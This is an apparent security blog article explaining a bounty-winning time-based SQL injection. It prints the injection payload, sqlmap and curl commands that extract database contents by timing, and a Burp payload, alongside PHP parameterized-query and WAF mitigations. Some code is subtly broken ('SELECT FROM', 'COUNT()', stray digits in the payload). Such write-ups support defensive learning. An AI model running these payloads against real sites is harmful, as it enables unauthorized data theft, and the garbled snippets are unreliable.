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Introduction
Time-Based SQL Injection (SQLi) remains a critical web application vulnerability, allowing attackers to extract sensitive data by manipulating database queries. Security researcher Shivang Maurya recently uncovered a high-impact Time-Based SQLi flaw, earning a $1,200 bounty. This article dissects his payload, explores mitigation techniques, and provides actionable commands for security professionals.
Learning Objectives
- Understand how Time-Based SQLi works.
- Learn to detect and exploit Time-Based SQLi vulnerabilities.
- Apply secure coding practices to prevent SQLi attacks.
You Should Know
1. Time-Based SQL Injection Payload Analysis
Payload:
1' XOR(94102if(now()=sysdate(),sleep(6),0)) XOR 'Z
How It Works:
- The payload exploits a vulnerable `POST /Account` endpoint by injecting malicious SQL logic.
– `now()=sysdate()` ensures the condition is always true, triggering `sleep(6)` if the database is vulnerable. - The `XOR` operator helps bypass weak input filters.
Detection Method:
Use `sqlmap` to automate testing:
sqlmap -u "http://example.com/Account" --data="Code=1" --technique=T --dbms=mysql --delay=5 --risk=3 --level=5
– --technique=T: Specifies Time-Based SQLi testing.
– --delay=5: Sets a 5-second delay for detection.
2. Manual Exploitation with cURL
Command:
curl -X POST "http://example.com/Account" -d "Code=1' XOR(if(substr(database(),1,1)='a',sleep(5),0)) XOR 'Z"
Explanation:
- Tests if the first character of the database name is
'a'. - If true, the server delays by 5 seconds, confirming the vulnerability.
3. Mitigation: Parameterized Queries (PHP Example)
Vulnerable Code:
$code = $_POST['Code']; $query = "SELECT FROM users WHERE code = '$code'";
Secure Code (Using PDO):
$stmt = $pdo->prepare("SELECT FROM users WHERE code = ?");
$stmt->execute([$_POST['Code']]);
Why It Works:
- Separates SQL logic from user input, preventing injection.
4. Detecting SQLi with Burp Suite
Steps:
1. Intercept a request with Burp Proxy.
- Send to Repeater and modify the `Code` parameter with:
1' AND (SELECT COUNT() FROM information_schema.tables) > 0 --
3. Observe delayed responses (indicating Time-Based SQLi).
5. Preventing SQLi in Web Applications
Key Defenses:
- Input Validation:
import re if not re.match("^[a-zA-Z0-9]+$", user_input): raise ValueError("Invalid input") - Web Application Firewall (WAF) Rules:
location / { ModSecurityEnabled on; SecRule ARGS "@detectSQLi" "id:1000,deny,status:403" }
What Undercode Say
- Key Takeaway 1: Time-Based SQLi remains prevalent due to poor input sanitization.
- Key Takeaway 2: Automated tools like `sqlmap` and manual testing with `cURL` are essential for detection.
Analysis:
Shivang’s find highlights the importance of rigorous security testing. Organizations must adopt secure coding practices and implement WAFs to block such attacks. As databases grow more complex, attackers will refine evasion techniques—making proactive defense critical.
Prediction
Future SQLi attacks will leverage AI-driven fuzzing to bypass traditional WAFs. Security teams must integrate machine learning-based anomaly detection to stay ahead.
By dissecting real-world exploits like Shivang’s, security professionals can better defend against evolving threats. Stay vigilant, test relentlessly, and always sanitize inputs! 🚀
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Shivangmauryaa Bounty – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
